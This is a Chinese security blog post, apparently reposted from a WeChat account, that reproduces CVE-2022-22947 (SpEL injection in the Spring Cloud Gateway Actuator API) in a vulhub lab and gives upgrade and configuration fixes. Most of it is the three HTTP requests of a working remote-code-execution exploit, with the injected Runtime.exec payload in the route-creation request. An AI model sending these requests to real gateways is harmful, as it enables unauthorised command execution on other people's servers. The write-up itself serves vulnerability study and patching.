首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >CVE-2022-22947:Spring Cloud Gateway远程代码执行漏洞

CVE-2022-22947:Spring Cloud Gateway远程代码执行漏洞

作者头像
Timeline Sec
发布于 2022-10-05 11:50:39
发布于 2022-10-05 11:50:39
2.7K00
代码可运行
举报
文章被收录于专栏:Timeline SecTimeline Sec
运行总次数:0
代码可运行

作者:Jackey0@Timeline Sec

本文字数:980

阅读时长:2~3min

声明:仅供学习参考使用,请勿用作违法用途,否则后果自负

0x01 简介

Spring Cloud是一系列框架的有序集合。它利用Spring Boot的开发便利性巧妙地简化了分布式系统基础设施的开发,如服务发现注册、配置中心、消息总线、负载均衡、断路器、数据监控等,都可以用Spring Boot的开发风格做到一键启动和部署。

0x02 漏洞概述

其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。

0x03 影响版本

3.1.0 3.0.0-3.0.6 3.0.0之前的版本

0x04 环境搭建

代码语言:javascript
代码运行次数:0
运行
复制
# 下载包
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
# 解压包
unzip vulhub-master.zip
# 进入vulhub目录,开启漏洞环境
cd vulhub/spring/CVE-2022-22947
docker-compose  up -d
#漏洞环境拉取成功后访问
http://ip:8080/

0x05 漏洞复现

依次发送如下请求包:

1、以POST方法请求

/actuator/gateway/routes/error

并提交以下数据,用于创建一条恶意路由

代码语言:javascript
代码运行次数:0
运行
复制
POST /actuator/gateway/routes/error HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 336

{
  "id": "error",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

2、接着以POST方法请求

/actuator/gateway/refresh

用于刷新路由,使刚添加的恶意路由生效

代码语言:javascript
代码运行次数:0
运行
复制
POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded

3、最后以GET方法请求,触发恶意路由

代码语言:javascript
代码运行次数:0
运行
复制
GET /actuator/gateway/routes HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

第三次请求的相应如下图所示:`id`命令执行成功

0x06 修复建议

1)3.1.x 版本用户应升级到 3.1.1+ 版本,3.0.x 版本用户应升级到 3.0.7+ 版本。

2)在不影响业务的前提下,通过将配置选项management.endpoint.gateway.enabled设置为false禁用gateway actuator endpoint。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-05-31,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Timeline Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
Spring Cloud Gateway Actuator API SpEL 代码注入 (CVE-2022-22947)
Spring Cloud Gateway 提供了一个库,用于在 Spring WebFlux 之上构建 API 网关。
Khan安全团队
2022/04/02
6220
Spring Cloud Gateway Actuator API SpEL 代码注入 (CVE-2022-22947)
Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)
Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947) 一、环境搭建 https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22947 docker-compose up -d UzJuMarkDownImageimage-20220304103612832.png UzJuMarkDownImageimage-20220304103622903.png 二、漏洞复现
UzJu@菜菜狗
2022/04/25
6420
Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)
Spring相关漏洞集合
上一篇说了Struct2的相关漏洞,这一篇就复现一下Spring相关的漏洞,关于spring产生的漏洞,其实他跟struct2都差不多,都是因为对用户的参数没有采用严格的控制,导致传入表达式而导致的,只不过struct2是OGNL,而spring是spel表达式造成的。(声明:本篇中的实列均在vulhub中完成)
Tommonkey
2023/03/20
1.1K0
Spring相关漏洞集合
Spring Cloud Gateway内存马注入
Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关,它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式 以下版本的Spring Cloud Gateway存在SPEL表达式注入漏洞CVE-2022-22947,可导致未授权远程命令执行漏洞
Naraku
2022/09/08
3.2K0
渗透测试-如何高效率挖掘漏洞
21、22、3306等远程端口,可使用超级弱口令工具或者railgun自带模块进行暴力破解
hyyrent
2022/12/26
1.5K0
渗透测试-如何高效率挖掘漏洞
Apache Struts2--061远程代码执行漏洞复现
Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞,开发人员使用了 %{…} 语法,从而攻击者可以通过构Payload,从而造成远程代码执行。
用户6343818
2020/12/29
1.2K0
Apache Struts2--061远程代码执行漏洞复现
CVE-2024-36401:GeoServer未授权RCE漏洞
GeoServer 是一个开源的地理信息服务器,用于发布和共享地理空间数据。它是由 GeoTools 库驱动的,GeoTools 是一个用于处理地理数据的 Java 库。GeoServer 允许用户从各种数据源(如 Shapefile、PostGIS、Oracle Spatial、ArcSDE 等)发布地理空间数据,并通过标准的 OGC(Open Geospatial Consortium)协议(如 WMS、WFS、WCS 等)进行访问。
Timeline Sec
2024/11/23
3.4K0
CVE-2024-36401:GeoServer未授权RCE漏洞
Apache APISIX 默认密钥漏洞(CVE-2020-13945)
Apache APISIX是一个高性能API网关。在用户未指定管理员Token或使用了默认配置文件的情况下,ApacheAPISIX将使用默认的管理员Token edd1c9f034335f136f87ad84b625c8f1,攻击者利用这个Token可以访问到管理员接口,进而通过script参数来插入任意LUA脚本并执行。
网e渗透安全部
2023/12/12
5270
Apache APISIX 默认密钥漏洞(CVE-2020-13945)
Spring Cloud Gateway远程代码执行漏洞(CVE-2022-22947)
- Spring Cloud Gateway远程代码执行漏洞(CVE-2022-22947) -
LuckySec
2022/11/15
9.7K0
Spring Cloud Gateway远程代码执行漏洞(CVE-2022-22947)
CVE-2024-36401|GeoServer 未授权远程代码执行漏洞(POC)
GeoServer是基于Java 的软件服务器,允许用户查看和编辑地理空间数据。使用开放地理空间联盟(OGC)提出的开放标准,GeoServer在地图创建和数据共享方面具有极大的灵活性。
信安百科
2024/07/12
1.5K0
CVE-2024-36401|GeoServer 未授权远程代码执行漏洞(POC)
Spring Data Commons 远程命令执行漏洞
Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。
用户8478399
2022/09/22
5830
Spring Data Commons 远程命令执行漏洞
CVE-2023-32315:Openfire身份认证绕过漏洞
Openfire 是根据开放源 Apache 许可获得许可的实时协作(RTC)服务器,它使用唯一被广泛采用的用于即时消息的开放协议 XMPP(也称为 Jabber)。
Timeline Sec
2023/09/20
3K0
CVE-2023-32315:Openfire身份认证绕过漏洞
kkfileview任意文件读取漏洞复现(批量化)
基本命令: nuclei.exe -l 网址文件.txt -t POC.yaml
samRsa
2024/03/10
2.5K10
kkfileview任意文件读取漏洞复现(批量化)
Spring Cloud Gateway 3.1.0 远程代码执行
# 软件链接:https://spring.io/projects/spring-cloud-gateway
Khan安全团队
2022/03/09
7220
CVE-2020-17530:Struts2远程代码执行漏洞复现
CVE-2020-17530是对CVE-2019-0230的绕过,Struts2官方对CVE-2019-0230的修复方式是加强OGNL表达式沙盒,而CVE-2020-17530绕过了该沙盒。
Timeline Sec
2021/01/18
2.5K0
CVE-2020-17530:Struts2远程代码执行漏洞复现
SpringBlade list接口存在SQL注入漏洞
基本命令: nuclei.exe -l 网址文件.txt -t POC.yaml
samRsa
2024/03/13
2K0
SpringBlade list接口存在SQL注入漏洞
网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入漏洞
基本命令: nuclei.exe -l 网址文件.txt -t POC.yaml
samRsa
2024/03/12
2380
网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入漏洞
CVE-2021-21402:Jellyfin文件读取
Jellyfin是一个自由软件媒体系统,在10.7.1版之前的Jellyfin中,攻击者可以通过精心构造的请求读取Jellyfin服务器端的任意文件,当使用Windows主机作为操作系统时,此问题将变得跟加普遍,该漏洞已在10.7.1版本中修复。
Al1ex
2021/07/21
9070
CVE-2021-21402:Jellyfin文件读取
记一次代码审计之nbcio-boot从信息泄露到Getshell
NBCIO 亿事达企业管理平台后端代码,基于jeecgboot3.0和flowable6.7.2,初步完成了集流程设计、流程管理、流程执行、任务办理、流程监控于一体的开源工作流开发平台,同时增加了聊天功能、大屏设计器、网盘功能和项目管理。 项目地址:https://gitee.com/nbacheng/nbcio-boot
亿人安全
2024/09/11
2150
记一次代码审计之nbcio-boot从信息泄露到Getshell
帮管客CRM客户管理系统Nday
漏洞大约是4月份左右交的,目前官方应该也已经修复了,总体下来感觉目前的CNVD已经不是曾经那个CNVD了,总体而言这个CRM没怎么考虑到安全问题,挖到后面漏洞交的已经不太想交了,有兴趣的可以试试挖一下其他的,这里仅给出几个点,注入之类的就暂时先不给了
Al1ex
2022/09/07
2.7K1
帮管客CRM客户管理系统Nday
推荐阅读
相关推荐
Spring Cloud Gateway Actuator API SpEL 代码注入 (CVE-2022-22947)
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验